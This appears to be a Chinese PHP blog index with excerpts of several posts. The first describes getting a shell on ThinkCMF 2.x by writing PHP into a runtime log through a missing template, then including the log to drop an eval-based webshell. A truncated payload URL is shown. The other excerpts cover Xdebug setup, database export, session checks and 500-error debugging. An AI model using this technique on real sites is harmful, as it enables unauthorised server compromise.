ThinkCMF缓存getshell
前一阵子接到个项目,目标站是thinkCMF2.X搭建的,试过网上很多方法无法拿下,本地搭了个环境测试了下,最终成功拿下
由于thinkcmf2.x使用了thinkphp3.x作为开发框架,默认情况下启用了报错日志并且开启了模板缓存,导致可以使用加载一个不存在的模板来将生成一句话的PHP代码写入data/runtime/Logs/Portal目录下的日志文件中,再次包含该日志文件即可在网站根目录下生成一句话木马m.php
日志文件格式为YY_MM_DD.log,如当前日期为2019年12月12日,日志文件为19_12_12.log,完整路径为data/runtime/Logs/Portal/19_12_12.log
测试成功的环境Linux
宝塔[PHP7.2]
Windwos
PHPstudy PHP7.1
Payload1:首先访问http://target.domain/?a=display&templateFile=%3C?php%20file_put_contents(%27m.php%27,%27%3C%3fphp+eval($_POST[%22X%22]) ...
Sublime Text 3搭建PHP Debug环境
记录下搭建PHP的Debug环境
笔者已转VSCode,本文可能已失效
本机环境环境如下
PHP:7.1
OS:Windows 10
IDE:Sublime Text 3
步骤下载Xdebug到https://xdebug.org/download.php 下载最新版的XDebug文件。下载之后改名为php_xdebug.dll(不改名也不影响)放到PHP7根目录下的ext子目录下。如果不知道该下载哪个,可以到https://xdebug.org/wizard.php 粘贴phpinfo的内容自动分析
配置PHP修改PHP7根目录下的php.ini文件,在最后添加如下代码
[xdebug]zend_extension = C:\AppServ\php7\ext\php_xdebug-2.6.1-7.1-vc14-x86_64.dllxdebug.remote_enable=truexdebug.collect_params=1xdebug.collect_return=1xdebug.collect_vars=1xdebug.collect_assignments=1xdebu ...
原生PHP导出数据库
网上找了下相关代码基本都是有语法错误的,挑了个错误少的改了改
通过测试的环境
CentOS7.1PHP7.2.10MySQL5.7.23Apache 2.4.34
代码如下
<?phpset_time_limit(0);header("Content-type:text/html;charset=utf-8");//配置信息$cfg_dbhost = 'localhost';$cfg_dbname = '';//数据库名$cfg_dbuser = '';//数据库用户$cfg_dbpwd = '';//数据库密码$cfg_db_language = 'utf8';$to_file_name = "dbname.sql"; //你即将导出的数据库命名// END 配置//链接数据库$link = mysqli_connect($cfg_dbhost, $cfg_dbuser, $cfg_db ...
PHP中检查会话是否过期
在做项目时遇到了一个小需求
需求大概意思是要检测当前会话是否过期,网上搜了下基本都是用cookies记录的想了下用Session也可以做
实现可以在登录时用$_SESSION['Your_Name']存储登录时的时间然后在访问后台每个页面必经的页面加入会话验证函数大概函数如下登录页在登录成功后加入:
date_default_timezone_set('Asia/Shanghai');$time = date('Y-m-d H:i:s');$_SESSION['login_time'] = $time;
函数中加入
/** * 检测会话是否过期 */function CheckSession(){ session_start(); date_default_timezone_set('Asia/Shanghai'); $session_time = $_SESSION['login_time']; $timeout = ...
LAMP服务器报错500调试方法
3个多月没发博文了 过一段时间把i春秋上的文章迁移下。。
最近在用PHP做课设 本地测试非常完美但是到了远程服务器就报500错误了。。查了一番资料,发现了一个万能调试代码
<?phpregister_shutdown_function( function(){ var_dump(error_get_last()); });?>
把这段直接加到出问题的主文件开头然后访问即可定位错误并解决